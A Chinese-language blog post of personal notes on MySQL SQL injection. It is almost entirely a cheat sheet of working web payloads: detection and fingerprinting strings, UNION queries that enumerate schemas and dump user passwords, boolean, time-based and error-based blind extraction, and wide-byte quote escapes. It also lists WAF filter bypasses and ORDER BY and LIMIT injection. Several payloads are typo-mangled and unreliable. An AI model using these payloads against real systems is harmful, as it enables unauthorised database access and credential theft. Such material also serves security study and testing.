SQL注入(mysql)總結小筆記

**

關於sql的個人總結筆記(有時間會擴展補充)

**
字符:

11‘ or '1'=1 
1' and '1'='2 

數字:

1 and 1=11 and 1=2
1 or 1=11 or 1=2  (如果前後兩個語句都是正確的,反而爲假)
1 xor 1=11 xor 1=2  (xor後面的語句如果是正確的,則返回錯誤頁面積)
-1-0  (加上 -0,返回的頁面和前面的,頁面相同,加上-1,返回錯誤頁面)

搜索框判斷是否有注入:
簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索’,如果出錯,說明90%存在這個漏洞。然後搜
索%,如果正常返回,說明95%有洞了。
說明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以實現,如果出現錯誤,說明有問題
操作:

關鍵字%' and 1=1 and '%'='%
關鍵字%' and 1=2 and '%'='%
#將and 1=1 換成注入語句就可以了

數據庫判斷:
1)特有數據表

Mysql:id=1' and exists(select * from information_schema.tables) #
access:id=1' and exists(select * from msysobjects) #
mssql:id=1' and exists(select * from sysobjects) #
orcal:id=1’ and (select count(*) from sys.user_tables)>0#

2)通過各數據庫特有的連接符判斷

mssql,id=1 and '1' + '1' = '11'
mysql,id=1 and concat('1','1')='11'
oracle,id=1 and '1'||'1'='11'

常用:
Mysql5.0以上特有數據庫
在這裏插入圖片描述

1‘ order by 3--+

-1' union select 1,2,3--+   (id要改成不存在的值)

-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

-1union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

-1' union select 1,(group_concat(password) from security.users),3--+

布爾注入:

id=1' and length(database())>7--+   (id=1不需要改爲一個數據庫不存在的id值)

1.mid()函數
mid(striing,start,length)
string(必需)規定要返回其中一部分的字符串。
start(必需)規定開始位置(起始值是 1)。
length(可選)要返回的字符數。如果省略,則 mid() 函數返回剩餘文本。
2.ord(a)將a轉換成其ASCII值

id=1' and ord()mid() : ord(mid((select user()),1,1))=114--+

3.left()函數
left(string,length)
再怎麼解釋也不如直接開弄
string(必需)規定要返回其中一部分的字符串
length(可選)規定被返回字符串的前length長度的字符

id=1' and left(database(),1)>'s'--+

4.substr()函數
substr(string,start,length)
string(必需)規定要返回其中一部分的字符串。
start(必需)規定在字符串的何處開始。
length(可選)規定被返回字符串的長度。
5.ascii(a)將a轉換成其ASCII值

id=1' and ascii(substr((select(database()),1,1))=98--+

時間盲注:
如果有注入,則延遲時間很長:

id=1' and sleep(5)--+
id=1' and If(ascii(substr(database(),1,1))=114,sleep(3),0)--+  對的返回3秒,錯的返回0

報錯注入:構造payload 讓信息通過錯誤提示回顯
1.floor(),group by 對rand()函數進行操作時產生錯誤

id=1‘ and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a)--+

2.通過ExtractValue()

id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

3.通過UpdateXml()

爆數據庫版本信息:?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
鏈接用戶:?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
鏈接數據庫:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

寬字節注入:針對’被\轉義
對’進行了\轉義,只需要在\前添加%df或別的編碼,與\構成兩字節的GBK編碼繞過

-1%df' union select 1,2,3--+

二次注入:
將構造的惡意數據添加進數據庫,惡意數據被二次調用觸發注入

內聯註釋
將where子句使用內聯註釋包裹,雖然where子句被註釋,但是非常明顯,子句依然有效
內聯註釋特性

/*!*//*!select*//*!**//*!from*//*!yz*/

在內聯註釋中的數字小於等於版本號時,sql語句可以被執行,反之則不可以。

/*!*//*!80012select*//*!**//*!from*//*!yz*/

繞過:

大小寫:
waf過濾了關鍵字select,可以嘗試使用Select等繞過。
雙寫關鍵字繞過:

select變成seleselectct

特殊編碼繞過:

Test 等價於0x7465737431;
Test 等價於CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)(新版mysql不能用了)

空格過濾繞過:

/**/
()
回車(url編碼中的%0a)
`(tap鍵上面的按鈕)
tap
兩個空格

過濾or and xor not 繞過:

and = &&
or = ||
xor = | 

過濾等號=繞過:
不加通配符(%)的like

過濾大小於號繞過:
greatest(n1, n2, n3…):返回n中的最大值;least(n1,n2,n3…):返回n中的最小值

id=1‘ and greatest(ascii(substr(username,1,1)),1)=116--+
id=1‘ and least(ascii(substr(username,1,1)),1)=116

strcmp(str1,str2):若所有的字符串均相同,則返回STRCMP(),若根據當前分類次序,第一個參數小於第二個,則返回 -1,其它情況返回 1

id=1' and strcmp(ascii(substr(username,1,1)),117)--+

in關鍵字

id=1' and substr(username,1,1) in ('t')--+

between a and b判等

id=1' and substr(username,1,1) between 't' and 't'--+

過濾引號繞過:
使用十六進制;寬字節

過濾逗號繞過:

union select 1,2,3 等價於 union select * from (select 1)a join (select 2)b join(select 3)c

order by 注入:

/?order=IF(1=1,name,price)   通過name字段排序
/?order=IF(1=2,name,price)   通過price字段排序

返回多條記錄

/?order=IF(1=1,1,(select+1+from+information_schema.tables))  頁面正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables))  頁面錯誤

利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1)  正確
/?order=updatexml(1,if(1=2,1,user()),1)  錯誤

時間盲注

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常響應時間
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

詳細請參考:https://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html

limit注入:

limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

可爆出:ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.53’

 
******************************************************

更多注入擴展等自己再擴展了再更新哦~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章